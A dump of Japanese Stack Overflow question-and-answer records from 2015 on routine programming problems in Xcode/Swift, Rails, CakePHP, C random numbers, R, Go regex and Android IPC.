{ "accepted_answer_id": "20417", "answer_count": 1, "body": "MacOSとXcodeをアップデートした際、iPhoneの実機テストができなくなりました。 \nそこで、 \nXcode起動 \nアップルマークの右隣りXcodeクリック \n2段目のPreferences...をクリック \n左から2番めのAccountsをクリック \n右下のView Details...をクリック \nの後のページの左下にある、 \nDownload Allをクリックしたところ、 \nProvisioning Prolisseが消えてしまいました。\n\nなので、当然ながら \nNo provisioning profiles found: No non-expired Provisioning profiles were\nfound. \nとメッセージが出て、ビルドすらできなくなってしまいました。\n\n誰か助けて下さい。 \nお願いします。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T11:58:00.160", "favorite_count": 0, "id": "20416", "last_activity_date": "2016-01-26T15:15:17.533", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13156", "post_type": "question", "score": 1, "tags": [ "swift", "xcode" ], "title": "Provisioning Profilesを誤って削除してしまいました。", "view_count": 316 }
[ { "body": "gitは使用していないのでしょうか? \n他のファイルを新規作成して追加はできませんか?", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T12:07:57.893", "id": "20417", "last_activity_date": "2015-12-27T12:07:57.893", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5828", "parent_id": "20416", "post_type": "answer", "score": 0 } ]
20416
20417
20417
{ "accepted_answer_id": null, "answer_count": 0, "body": "[Swift2]Storyboardから設置したUIViewでAVPlayerの動画を再生する方法 \n<http://bick.xyz/archives/586>\n\nを参考にUIViewでAVPlayerを再生したいです。\n\nStoryboardに貼り付けたUIviewから、AVPlayerViewのインスタンスにして \n`@IBOutlet weak var videoPlayerView: AVPlayerView!` \nに接続すると以下のエラーが発生します。(この行で)\n\n> 'weak' cannot be applied to non-class type '<<<\\error type>>' \n> Use of undeclared type 'AVPlayerView'\n\nこれはどのような対応をすれば解決するのでしょうか?\n\n * XCode 7.1\n * DeploymentTarget: 9.1\n\nです。", "comment_count": 3, "content_license": "CC BY-SA 4.0", "creation_date": "2015-12-27T14:12:40.457", "favorite_count": 0, "id": "20419", "last_activity_date": "2019-06-07T23:57:47.483", "last_edit_date": "2019-06-07T23:57:47.483", "last_editor_user_id": "32986", "owner_user_id": "8593", "post_type": "question", "score": 1, "tags": [ "swift", "xcode" ], "title": "Storyboardから設置したUIViewでAVPlayerの動画を再生", "view_count": 734 }
[]
20419
null
null
{ "accepted_answer_id": "20422", "answer_count": 1, "body": "swiftでwebviewのCookie情報の取得サンプルで以下のコードを見つけました。\n\n```\n\n let cookies:[NSHTTPCookie] = NSHTTPCookieStorage.sharedHTTPCookieStorage().cookies! as [NSHTTPCookie]\n for cookie:NSHTTPCookie in cookies as [NSHTTPCookie] {\n if cookie.name as String == \"CookieName\" {\n let cookieValue : String = \"CookieName=\" + cookie.value as String\n NSLog(cookieValue)\n }\n }\n \n```\n\n[NSHTTPCookie]はNSHTTPCookieのclassだと思いますが、[]の意味(使用用途)は何でしょうか? \nSwift関連の本を確認してもわからなかったのでご存知であればお願いします。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T14:34:06.933", "favorite_count": 0, "id": "20420", "last_activity_date": "2015-12-27T15:22:34.143", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "8593", "post_type": "question", "score": 1, "tags": [ "swift" ], "title": "swiftの型指定で[]の意味は?", "view_count": 1231 }
[ { "body": "配列です。\n\n`[NSHTTPCookie]` は `Array<NSHTTPCookie>` と全く同じ意味になります。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T15:22:34.143", "id": "20422", "last_activity_date": "2015-12-27T15:22:34.143", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "2530", "parent_id": "20420", "post_type": "answer", "score": 0 } ]
20420
20422
20422
{ "accepted_answer_id": "20424", "answer_count": 2, "body": "`lending_restricted`という名前の`boolean`のカラムを持つ`Company`というモデルがあるのですが、View\nで以下のように`true`ならカラムと同名の`class`属性を追加しています。\n\n```\n\n <tr class=\"company <%= 'lending_restricted' if company.lending_restricted? %>\">\n \n```\n\nこれで動作は問題ないのですが、少し冗長な気がします。もっと良い書き方はありますか?\n\n`Decorator`で少し抜き出そうかとも思ったのですが、あまり変わらない気がして…。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T16:47:37.150", "favorite_count": 0, "id": "20423", "last_activity_date": "2015-12-27T21:32:08.160", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3271", "post_type": "question", "score": 1, "tags": [ "ruby-on-rails" ], "title": "booleanのカラムと同名のクラスをHTMLの要素に追加する方法", "view_count": 103 }
[ { "body": "RubyやRailsのAPIで簡単に実現、っていうのは難しそうなので、ヘルパーメソッドを定義するのが落としどころになりそうです。 \nたとえばこんなヘルパーメソッドを定義しておくと、モデルや対象の属性に関わらず汎用的に使えます。\n\n```\n\n module ApplicationHelper\n def to_css_class(object, attr)\n attr.to_s if object.send(attr)\n end\n end\n \n <tr class=\"company <%= to_css_class company, :lending_restricted %>\">\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T20:39:08.130", "id": "20424", "last_activity_date": "2015-12-27T20:39:08.130", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "85", "parent_id": "20423", "post_type": "answer", "score": 1 }, { "body": "`Decorator`のことは知らないのですが、Decoratorパターン(みたいなのを)を使うくらいしかないような気がします。`Java`では`Interface`を使うのが普通ですが、`ruby`では直接それを表すのがないので、特異メソッドを利用するように実装してみました。\n\n```\n\n def create_css_class_decorator(obj)\n obj.instance_eval{\n def classname_if_true(method_name)\n f = self.send(method_name.to_sym)\n affermative(method_name) if f == true\n end\n \n def affermative(s)\n s.gsub(/\\?/,'')\n end\n }\n obj\n end\n \n (実行例)\n s = \"\"\n s = create_css_class_decorator(s)\n s.classname_if_true('empty?')\n => \"empty\"\n s = create_css_class_decorator(\"abc\")\n s.classname_if_true('empty?')\n => nil\n # nil.to_s は空文字列が返ります\n \n```\n\n上記の`create_css_class_decorator`メソッドを使って以下のように記述できます。メソッドの戻り値で得たオブジェクトは、メソッド実行前と同じオブジェクトです。2つメソッドが追加されただけで、それ以外は元通りに使い回せます。(…のはず) \nそこで質問の例にあるcompanyオブジェクトを事前に`create_css_class_decorator`で変換しておき、\n\n```\n\n <tr class=\"company <%= company.classname_if_true('lending_restricted?') %>\">\n \n```\n\nとすれば上手く行くように思います。 \n(例示のメソッド名は長いので適当に短い名前をつけるともっと楽かなとも思います)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-27T20:42:12.207", "id": "20425", "last_activity_date": "2015-12-27T21:32:08.160", "last_edit_date": "2015-12-27T21:32:08.160", "last_editor_user_id": "9403", "owner_user_id": "9403", "parent_id": "20423", "post_type": "answer", "score": 1 } ]
20423
20424
20424
{ "accepted_answer_id": "20441", "answer_count": 1, "body": "[JetBrains Plugin Repository ::\nRailways](https://plugins.jetbrains.com/plugin/7110?pr=) \nに \n[screenshot_14915.png\n(650×292)](https://plugins.jetbrains.com/files/7110/screenshot_14915.png) \nが記載されていますが、これはどうやったら出現するのでしょうか、\n\nとりあえずCtr + Shift + gを試してみましたが出現せず、 \ncommand + shift + gでも出ませんでした。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T06:47:26.863", "favorite_count": 0, "id": "20429", "last_activity_date": "2015-12-28T23:48:10.260", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9008", "post_type": "question", "score": 0, "tags": [ "rubymine" ], "title": "RailwaysのEnter URL partはどうやったら出現するのでしょうか?", "view_count": 377 }
[ { "body": "Cmd+Shfit+Gが他のアクションに奪われているせいだと思います。 \nPreferences > Keymap で現在のキーマップを確認してください。\n\n以下の図の赤丸を使うと、実際にショートカットを入力して該当するアクションを検索することができます。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/QUOMM.png)](https://i.stack.imgur.com/QUOMM.png)\n\nショートカットが重複して定義されているなら、どちらかのアクションにコンフリクトしない新しいキーマップをアサインすればOKです。 \n対象のアクションを右クリックして、Add Keyboard Shortcutを選択してください。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/pfSap.png)](https://i.stack.imgur.com/pfSap.png)\n\nここでも実際にショートカットを入力して、ショートカットを定義することができます。 \nまた、新しいショートカットもコンフリクトしている場合はウインドウ内にその旨が警告されます。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/65w4w.png)](https://i.stack.imgur.com/65w4w.png)", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T23:48:10.260", "id": "20441", "last_activity_date": "2015-12-28T23:48:10.260", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "85", "parent_id": "20429", "post_type": "answer", "score": 1 } ]
20429
20441
20441
{ "accepted_answer_id": "20433", "answer_count": 1, "body": "# 環境\n\nCakePHP 3.1.6\n\n<http://book.cakephp.org/3.0/ja/views/themes.html> \nに沿ってテンプレートを配置したが、テーマが機能せずに、デフォルトのLayoutとテンプレートファイルが使用されている。\n\n# 実現したいこと\n\n標準のテンプレートファイルは残したまま、サイト全体のテンプレート(見た目)を切り替えたい。CakePHPのテーマを使用すれば、容易にテンプレートを切り替えることができると、マニュアルから読み取ったのですが、意図したとおりに動作しない。 \nテーマは標準機能になっている。とマニュアルにありますが、未実装なのでしょうか。 \nどなたか教えていただければ、幸いです。\n\nconfig/bootstrap.php\n\n```\n\n Plugin::load('Example');\n \n```\n\nsrc/Controller/AppController.php\n\n```\n\n $this->viewBuilder()->theme('Example');\n \n```\n\nplugins/Example/src/Template/Layout/example_nologin.ctp \nplugins/Example/src/Template/Users/loginctp", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T10:34:39.030", "favorite_count": 0, "id": "20430", "last_activity_date": "2015-12-28T12:44:55.353", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7402", "post_type": "question", "score": 0, "tags": [ "cakephp" ], "title": "CakePHP3 のテーマが機能しない", "view_count": 490 }
[ { "body": "[自己解決] \nAppController.php ではテーマが設定できないようです。(仕様?) \n各コントローラで設定して動作しました。\n\nsrc/Controller/UsersController.php\n\n```\n\n public function beforeRender(Event $event)\n {\n $this->viewBuilder()->theme('Example');\n }\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T12:44:55.353", "id": "20433", "last_activity_date": "2015-12-28T12:44:55.353", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7402", "parent_id": "20430", "post_type": "answer", "score": 0 } ]
20430
20433
20433
{ "accepted_answer_id": null, "answer_count": 3, "body": "C言語の標準で用意されている乱数がなぜ推奨されないのか教えてください。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T12:15:01.640", "favorite_count": 0, "id": "20431", "last_activity_date": "2015-12-30T00:21:06.557", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13656", "post_type": "question", "score": 9, "tags": [ "c" ], "title": "C言語の標準で用意されている乱数がなぜ推奨されないのか教えてください。", "view_count": 874 }
[ { "body": "[C言語による乱数生成](http://www.sat.t.u-tokyo.ac.jp/~omi/random_variables_generation.html)\n\n>\n> 擬似乱数は決定論的なアルゴリズムから生成されているため、乱数と違い周期性、予測可能性や分布の偏りがどうしても生じてしまう。そのため研究等で精度の高い解析を得るためには、精度の高い生成アルゴリズムを用いることが重要である。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T12:27:17.393", "id": "20432", "last_activity_date": "2015-12-28T12:27:17.393", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "9008", "parent_id": "20431", "post_type": "answer", "score": 8 }, { "body": "C言語の言語標準の中では、疑似乱数を生成するための方法やアルゴリズムについては定義されていません。そのためどのような乱数が生成されるかは、C言語の実装に依存します。実行環境が変わると再現性が無くなってしまうため、研究などで再現性が必要な場合には独自に疑似乱数を実装する事が必要になります。 \n例えば線形合同法を使っている実装が多いですが、同じ線形合同法でも使用する定数値によって生成される乱数列が変わってきます。実装に使用している定数値が異なる可能性があるので、常に同じ結果が出て欲しい場合には、独自に実装する必要が生じます。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T19:47:41.813", "id": "20439", "last_activity_date": "2015-12-28T19:47:41.813", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12774", "parent_id": "20431", "post_type": "answer", "score": 6 }, { "body": "一般論として標準Cの`rand`が推奨されいてないという事実はありませんが、注意すべき点はいくつかあります。\n\n## 標準Cでは実装を規定していない\n\nたとえば、`srand`に同じseedを与えても、環境が違うと生成される乱数列は異なる可能性があります。どの範囲の値を返すかも実装依存です。\n\n## 品質の良い疑似乱数生成器が使われているとは限らない\n\n後方互換性などの観点で、古くからの実装が継続して使われている場合、品質に問題があることがわかっているアルゴリズムがそのまま使われている場合があります。よく使われていた線形合同法は、周期が短く、ランダム性にも問題があることがわかっています。\n\n## セキュリティ用途には使ってはいけない\n\nこれに関しては明確に推奨されていません。暗号論的疑似乱数生成器を使用しなければなりません。暗号に使う鍵はもちろんですが、セッションのトークンなどもこれに含まれます。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-30T00:21:06.557", "id": "20461", "last_activity_date": "2015-12-30T00:21:06.557", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5793", "parent_id": "20431", "post_type": "answer", "score": 12 } ]
20431
null
20461
{ "accepted_answer_id": null, "answer_count": 1, "body": "monacaプラットフォームで、HTML5+Javascriptベースで、Evernoteアプリの開発を行っております。\n\n[Evernoteのウェブサイト](https://dev.evernote.com/intl/jp/doc/start/javascript.php)\n上からリンクが貼られていた、GitHub のサンプルコードを参考に実装をしました。\n\n<https://github.com/evernote/phonegap-\nexample/blob/master/HelloWorld/www/js/index.js>\n\n関連部分のコードは上記のindex.jsから変えていません。\n\nmonacaデバッガ上では無事にOAuth認証してトークンを取得できます。\n\nしかし、いざビルドしてAndroidの実端末で動作確認を行ったところ、OAuth認証をしようとするのですが、「【アプリ名】がアカウントにアクセスすることを許可\n→ 承認する」画面までは行くのですが、承認ボタンを押すと、「申し訳ございません。Evernote\nWeb版はAndroidブラウザには対応していません。」と出て、トークンが取得できません。\n\nmonacaデバッガとビルドしたapkで何か(user\nagent等?)が異なるのだと存じますが、何が異なるか、または、この差異をなくす方法についてご存じの方がいらっしゃったら、お知恵をお菓子いただけないでしょうか。\n\nご多忙のところ、お手間をお掛けし恐縮です。", "comment_count": 4, "content_license": "CC BY-SA 4.0", "creation_date": "2015-12-28T13:36:54.037", "favorite_count": 0, "id": "20434", "last_activity_date": "2021-03-06T04:50:12.173", "last_edit_date": "2021-03-06T04:50:12.173", "last_editor_user_id": "3060", "owner_user_id": "13831", "post_type": "question", "score": 0, "tags": [ "javascript", "monaca", "jquery", "html5", "oauth" ], "title": "Evernoteアプリでmonacaデバッガとビルドされたアプリの差異をなくす方法", "view_count": 135 }
[ { "body": "`window.open`が使われているので、Cordova`InAppBrowser`プラグインを有効にしてビルドして試してみてください。\n\n* * *\n\n_この投稿は[@otak-lab\nさんのコメント](https://ja.stackoverflow.com/questions/20434/evernote%e3%82%a2%e3%83%97%e3%83%aa%e3%81%a7monaca%e3%83%87%e3%83%90%e3%83%83%e3%82%ac%e3%81%a8%e3%83%93%e3%83%ab%e3%83%89%e3%81%95%e3%82%8c%e3%81%9f%e3%82%a2%e3%83%97%e3%83%aa%e3%81%ae%e5%b7%ae%e7%95%b0%e3%82%92%e3%81%aa%e3%81%8f%e3%81%99%e6%96%b9%e6%b3%95#comment19187_20434)\nの内容を元に コミュニティwiki として投稿しました。_", "comment_count": 0, "content_license": "CC BY-SA 4.0", "creation_date": "2021-03-06T04:47:39.813", "id": "74446", "last_activity_date": "2021-03-06T04:47:39.813", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "3060", "parent_id": "20434", "post_type": "answer", "score": 0 } ]
20434
null
74446
{ "accepted_answer_id": null, "answer_count": 1, "body": "NSTimerなどによって、 \n一定間隔で、画面がタッチされている座標の情報を知ることはできますか?\n\nタッチが動いたタイミングでなく、 \nこちらが決めたタイミングで、 \n指が画面に触れている座標を知りたいということです。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T15:26:33.233", "favorite_count": 0, "id": "20436", "last_activity_date": "2015-12-29T05:10:15.040", "last_edit_date": "2015-12-29T00:16:42.400", "last_editor_user_id": "12297", "owner_user_id": "12297", "post_type": "question", "score": 0, "tags": [ "swift", "xcode" ], "title": "一定間隔で、画面がタッチされている座標の情報を知ることはできますか?", "view_count": 145 }
[ { "body": "インスタンス変数などにtouchesBeganで座標をコピーして、...Moved/Ended/Cencelledで更新・または初期化する。NSTimerに紐付けた処理にはそれを見に行かせる。必要であれば座標以外の情報もコピーしておけばよい。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T05:10:15.040", "id": "20445", "last_activity_date": "2015-12-29T05:10:15.040", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "13832", "parent_id": "20436", "post_type": "answer", "score": 1 } ]
20436
null
20445
{ "accepted_answer_id": "20440", "answer_count": 1, "body": "スニペットで再現する事を確認済みです。 \nコードの中のコメントの通りですが、new xNode(1) new xNode(2) new\nxNode(3)と擬似クラスのインスタンスを作り、その中でコールバックを指定しています。 \nそれぞれ別のインスタンスなので、new xNode(1)の中では常にパラメーターは1であって欲しいのですが、何故か最後の3で全て上書きされてしまいます。\n\n<http://qiita.com/ukiuni@github/items/463493a690265cec8bb7> \nこの記事に書かれている事と似ていると思うのですが、newしているので違う話だと判断しています。 \nコードの切り出しはしたのですが、それでもこの長さになってしまいました。 \nnew xNode(id);で指定したidの変数をコールバックから使うにはどうしたらよいでしょうか。よろしくお願いします。 \nchrome 47で確認をしました。\n\n```\n\n <script>\r\n br=function(){return document.createElement(\"br\");};\r\n nodes=[];\r\n window.addEventListener(\"DOMContentLoaded\", function(){\r\n xtest=(function(){\r\n var proto=Object.create(HTMLElement.prototype, {\r\n createdCallback: {\r\n value: function() {\r\n var t = document.querySelector('template');\r\n var clone = document.importNode(t.content, true);\r\n var shadowRoot=this.createShadowRoot();\r\n shadowRoot.appendChild(clone);\r\n this.cb=function(){};\r\n this.setCallback=function(ccc){\r\n cb=ccc;\r\n };\r\n this.callCallback=function(){\r\n cb();\r\n };\r\n this.setButtonText=function(name){\r\n this.shadowRoot.querySelector(\"#push\").innerText=name;\r\n };\r\n }\r\n },\r\n attachedCallback : {\r\n value: function(){\r\n this.shadowRoot.querySelector(\"#push\").addEventListener(\"click\",this.callCallback);\r\n }\r\n },\r\n attributeChangedCallback : {\r\n value: function(attrName, oldVal, newVal){\r\n }\r\n },\r\n detachedCallback : {\r\n value: function(){\r\n }\r\n },\r\n });\r\n return document.registerElement('x-test',{prototype:proto});\r\n })(); // (0)ここでx-testのカスタムhtmlタグを登録\r\n newCreate(1); // (1)パラメーターが違う3つの処理\r\n newCreate(2);\r\n newCreate(3);\r\n }, false);\r\n function newCreate(id){\r\n var addNew=new xNode(id); // (2)ここでnew xNodeとしている!\r\n nodes.push(addNew);\r\n document.body.appendChild(addNew.dom());\r\n document.body.appendChild(br());\r\n }\r\n function xNode(id){// (3)このメソッドは常にnew xNode(id)でコールされているから、変数idやalertTextはそれぞれ違うスコープを持って欲しい\r\n var node;\r\n var alertText=id+\"です\";\r\n var init=function(){ // (4)一番下のinitから来て・・・ xtestのカスタムhtmlタグのインスタンスを作る。\r\n node=new xtest();\r\n node.setButtonText(alertText);\r\n node.setCallback(function(){\r\n alert(alertText);//(5)ボタンが押されたらここに処理が来る。alertTextが常に\"3です\"になるのは何故?\r\n });\r\n };\r\n this.number=function(){\r\n return node.number;\r\n };\r\n this.dom=function(){\r\n return node;\r\n };\r\n this.callCallback=function(){\r\n node.callCallback();\r\n };\r\n init();\r\n };\r\n </script>\r\n <template id=\"cells-to-repeat\">\r\n <label><button id=\"push\"></button></label>\r\n </template>\r\n どれを押しても「3です」としか表示されない。<br>\n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T16:08:01.523", "favorite_count": 0, "id": "20437", "last_activity_date": "2015-12-28T23:27:17.313", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "805", "post_type": "question", "score": 0, "tags": [ "javascript" ], "title": "JSの擬似クラスでクロージャーの値が上書きされてしまう", "view_count": 98 }
[ { "body": "自己解決しました。 \n15行目付近の”cb=ccc;”としている箇所。代入先のcbがグローバル変数のcbになっていました。 \n13行目で定義したthis.cb=func‌​tion(){};を上書きしているつもりだったけど、そっちじゃなくてグローバル変数上のを書き換えていたと。\n\nなら常に同じ変数に上書きを繰り返して、最後の3です の場合のみになっちゃうのも当然でした", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T23:27:17.313", "id": "20440", "last_activity_date": "2015-12-28T23:27:17.313", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "805", "parent_id": "20437", "post_type": "answer", "score": 0 } ]
20437
20440
20440
{ "accepted_answer_id": "20443", "answer_count": 1, "body": "下の問題を解きたいのですがうまく行きません。 \nRでexpand.gridを使いましたがメモリオーバーしました。\n\nQ, max(performance1+performance2)\n\nただし num1+num2<=1000\n\ndata1.txtとdata2.txtで両者ともタブ区切りのファイルです。 \n変数は3つ以上ありますが簡単のため省略しました。 \nとりあえずパフォーマンスが最大になる時(制約を満たして)の組み合わせだけでも取得できたらと思っています。 \nできたらパフォーマンス最大の時の列の取得、もしくはそれぞれの行の取得もしたいです。\n\n```\n\n performance1 num1 hoge1\n 1 12 15 3.2\n 2 11 12.1 2.4\n \n performance2 num2 hoge2\n 1 25.3 14 2.6\n 2 21 18.3 4.1\n \n```\n\nあまりメモリを食わない方法でお願いします。 \ndplyrなどパッケージは好きなものを使って構わないです。 \nよろしくお願い致します。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-28T16:50:03.133", "favorite_count": 0, "id": "20438", "last_activity_date": "2015-12-29T03:37:47.350", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "12457", "post_type": "question", "score": 1, "tags": [ "r" ], "title": "最大値を取る時の組み合わせ", "view_count": 308 }
[ { "body": "`expand.grid()` の代わりに単純ループを使ってみました。\n\n```\n\n data1 <- read.table(\"data1.txt\", sep=\"\\t\", header=T)\n data2 <- read.table(\"data2.txt\", sep=\"\\t\", header=T)\n pf <- -Inf\n max <- list()\n for(i in seq(nrow(data1))){\n for(j in seq(nrow(data2))){\n if (data1[i,\"num1\"] + data2[j,\"num2\"] <= 1000) {\n d1 <- data1[i,\"performance1\"]\n d2 <- data2[j,\"performance2\"]\n if ((d1+d2) > pf) {\n pf <- (d1+d2)\n max <- list(c(i, j), c(d1, d2))\n }\n }\n }\n }\n \n```\n\n`max` に `performance` の和が最大になる場合の行番号と値の組み合わせが格納されます。", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T03:37:47.350", "id": "20443", "last_activity_date": "2015-12-29T03:37:47.350", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": null, "parent_id": "20438", "post_type": "answer", "score": 1 } ]
20438
20443
20443
{ "accepted_answer_id": "20444", "answer_count": 1, "body": "Ruby on Railsで開発をしています。 \nrails g modelコマンドを利用してmigrateファイル、modelなど一気に生成しました。 \nその後、modelの名前だけを利用する必要があり、変更しましたが、こうした場合、modelとDBのTableの名前が合わないようになります。 \nそれで、modelからTableへの連結ができるのかが心配で接続のテストがしたいんですが、どうテストできれば教えてください。できればサンプルのコードがあれば嬉しいです。 \nそもそもmodelとmigrateファイルなどはどのような関係がありますか?同じ名前で生成される理由も教えていただければと思います。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T01:59:23.257", "favorite_count": 0, "id": "20442", "last_activity_date": "2015-12-29T04:44:30.900", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "10710", "post_type": "question", "score": 0, "tags": [ "ruby-on-rails", "mysql", "rubymine" ], "title": "RailsでDBへの接続確認する方法を教えてください。", "view_count": 5282 }
[ { "body": "Railsでは、モデル名からテーブル名を判断して接続しています。 \nモデル名はテーブル名の単数形のキャメルケースになります。 \n例えば、 `user_permissions` というテーブルがあった場合、モデルは `UserPermission` となります。\n\nモデル名とテーブル名が一致していない場合、モデルに明示的にテーブル名を設定する必要があります。 \n`UserPermission` というモデルで `permissions` というテーブル名を使いたい場合、以下のようにモデルに書きます。\n\n```\n\n def UserPermission < ActiveRecord::Base\n self.table_name = 'permissions'\n end\n \n```\n\n接続のテストですが、 `rails console` を使うと楽です。 \nrailsのプロジェクトのディレクトリで、 `rails c` と打つとコンソールが起動しますので、そこでテストをしてください。 \n`UserPermission` に接続する場合は以下の様なかたちで確認できます。\n\n```\n\n $ rails c\n [1] pry(main)> UserPermission.all\n \n```", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T04:44:30.900", "id": "20444", "last_activity_date": "2015-12-29T04:44:30.900", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7616", "parent_id": "20442", "post_type": "answer", "score": 2 } ]
20442
20444
20444
{ "accepted_answer_id": null, "answer_count": 1, "body": "[Androidの公式サイト](http://developer.android.com/intl/ja/guide/components/processes-\nand-threads.html)ではプロセス間通信はBinderを使って実現できるという趣旨の記述がありました. \n逆に, Binder以外でのプロセス間通信は可能なのでしょうか.", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T05:37:59.210", "favorite_count": 0, "id": "20446", "last_activity_date": "2016-11-18T07:43:25.367", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7797", "post_type": "question", "score": 1, "tags": [ "android" ], "title": "AndroidにおいてBinder以外でのプロセス間通信は可能か", "view_count": 637 }
[ { "body": "そのドキュメントにもありますが、 `ContentProvider` をIPCに使うことができます。\n\nあるいはアプリ内でHTTP server(またはもっと低レイヤーなTCP\nserver)を立てて他のプロセスと通信するという方法もなくはないですが、安全に運用するのが難しいので最終手段だと思います。", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-07T04:04:23.903", "id": "20696", "last_activity_date": "2016-01-07T04:04:23.903", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "114", "parent_id": "20446", "post_type": "answer", "score": 1 } ]
20446
null
20696
{ "accepted_answer_id": null, "answer_count": 1, "body": "Golangで下記の様に正規表現を使い¥記号をエスケープしましたができません。¥マークを指定すればPlayground上でできますが`\\`ではできないのでしょうか。\n\n<https://play.golang.org/p/WG5IpwgCN9>", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T05:53:12.143", "favorite_count": 0, "id": "20447", "last_activity_date": "2017-04-19T14:18:37.203", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "7232", "post_type": "question", "score": 2, "tags": [ "go", "正規表現" ], "title": "Golangで¥をエスケープしたい", "view_count": 894 }
[ { "body": "`\\ (BACKSLASH)` と `¥ (YEN SIGN)` には別のコードが割り当てられていますので…。\n\n`\\` は `0x5c`、`¥` は `0xa5` (UTF-8 では `0xc2a5`) になります。\n\n`¥` を使いたくないのであれば `regexp.Compile(`\\xa5|,`)` とする方法もあります。\n\n\\--\n[コメントより](https://ja.stackoverflow.com/questions/20447/golang%E3%81%A7%C2%A5%E3%82%92%E3%82%A8%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%97%E3%81%97%E3%81%9F%E3%81%84#comment19193_20447)", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2017-04-19T14:18:37.203", "id": "34124", "last_activity_date": "2017-04-19T14:18:37.203", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "19110", "parent_id": "20447", "post_type": "answer", "score": 1 } ]
20447
null
34124
{ "accepted_answer_id": "20469", "answer_count": 3, "body": "Ruby on Railsで開発をしています。IDEはRubyMineを使ってます。\n\n10個以上のモデルの中、3つのモデルだけモデル名を変更する必要があり、 \nテーブル名と違って、テーブルとの連携のためモデルには\n\n```\n\n def self.table_name_prefix\n 'm_'\n end\n \n```\n\nこのようなメソッドを持っています。(3つのモデルに対応するテーブルは全部モデル名の前に「m_」をつけているようになっています。) \n同じメソッドを持っているからこれを共通的にまとめて簡単にしたいんです。 \nですが、まだRails初心者なので、どうすればいいかよくわかりません。 \nどうすればきれいに取りまとめることができるのか教えていただきたいんです!", "comment_count": 0, "content_license": "CC BY-SA 3.0", "creation_date": "2015-12-29T06:51:33.100", "favorite_count": 0, "id": "20449", "last_activity_date": "2015-12-30T06:52:30.163", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "10710", "post_type": "question", "score": 0, "tags": [ "ruby-on-rails", "ruby", "rubymine" ], "title": "Railsのモデルで共通部分をまとめる方法を教えてください。", "view_count": 2732 }
